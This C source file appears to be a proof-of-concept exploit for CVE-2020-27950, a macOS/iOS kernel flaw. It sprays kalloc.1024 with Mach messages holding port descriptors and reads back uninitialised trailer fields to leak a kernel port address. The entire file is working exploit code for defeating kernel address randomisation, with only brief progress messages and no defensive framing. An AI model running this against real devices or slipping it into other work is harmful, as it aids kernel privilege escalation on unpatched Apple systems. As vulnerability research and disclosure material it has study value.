// CVE-2020-27950 port pointer leak

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

// good sizes to fit in kalloc.1024, trust me, I'm an expert (c)
#define LEAK_PORTS 50
typedef struct {
	mach_msg_header_t header;
	mach_msg_body_t body;
	mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

typedef struct {
	mach_msg_header_t header;
	mach_msg_body_t body;
	mach_msg_port_descriptor_t sent_ports[LEAK_PORTS-10];
} message_small_t;

int main(int argc, char *argv[]) {
	mach_port_t port;
	mach_port_t sent_port;

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
	mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
	mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

	printf("[*] Will get port %x address\n", sent_port);

	message_big_t *big_message = NULL;
	message_small_t *small_message = NULL;

	mach_msg_size_t big_size = (mach_msg_size_t)(sizeof(*big_message));
	mach_msg_size_t small_size = (mach_msg_size_t)(sizeof(*small_message));

	big_message = malloc(big_size + MAX_TRAILER_SIZE);
	small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

	printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
	memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
	big_message->header.msgh_remote_port = port;
	big_message->header.msgh_size = big_size;
	big_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
	big_message->body.msgh_descriptor_count = LEAK_PORTS;

	for (int i = 0; i < LEAK_PORTS; i++) {
		big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
		big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
		big_message->sent_ports[i].name = sent_port;
	}

	printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
	memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
	small_message->header.msgh_remote_port = port;
	small_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
	small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

	for (int i = 0; i < LEAK_PORTS - 10; i++) {
		small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
		small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
		small_message->sent_ports[i].name = sent_port;
	}


	uint8_t *buffer;
	buffer = malloc(big_size + MAX_TRAILER_SIZE);
	mach_msg_mac_trailer_t *trailer;
	uintptr_t sent_port_address = 0;

	printf("[*] Sending message 1\n");
	mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	printf("[*] Discarding message 1\n");
	mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	small_message->header.msgh_size = small_size + sizeof(uint32_t);
	printf("[*] Sending message 2\n");
	mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
	printf("[*] Reading back message 2\n");
	mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t));
	sent_port_address |= (uint32_t)trailer->msgh_ad;

	printf("[*] Sending message 3\n");
	mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	printf("[*] Discarding message 3\n");
	mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
	printf("[*] Sending message 4\n");
	mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

	memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
	printf("[*] Reading back message 4\n");
	mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t)*2);
	sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
	
	printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);

	return 0;
}